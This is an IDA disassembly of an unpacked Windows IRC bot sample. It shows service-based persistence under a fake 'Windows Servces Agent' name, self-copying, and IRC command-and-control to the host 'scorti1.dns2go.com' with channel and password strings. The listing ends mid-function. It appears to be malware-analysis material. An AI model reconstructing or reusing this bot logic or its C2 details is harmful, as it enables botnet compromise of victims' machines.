; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1B5028628519525C84E88C1D69D07EB1 ; File Name : u:\work\1b5028628519525c84e88c1d69d07eb1_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2660000h nop lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2650000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2640BE8h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx call near ptr 2670704h nop push eax call near ptr 267065Ch nop cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2660000h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2670547h push eax call near ptr 2650000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2670457h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 267034Ah loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2660DCFh cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 26604A7h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax call near ptr 267034Ah nop push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2660DA2h push eax push esi push 100000h nop call near ptr 26608C0h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2640BE8h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 26604A7h push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 267065Ch push esi nop call near ptr 2640897h mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 26604A7h mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 26607A7h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 call near ptr 2660DCFh nop push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A call near ptr 2660DCFh nop push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 26604A7h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 26604A7h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 26604A7h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call near ptr 26604A7h nop jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h 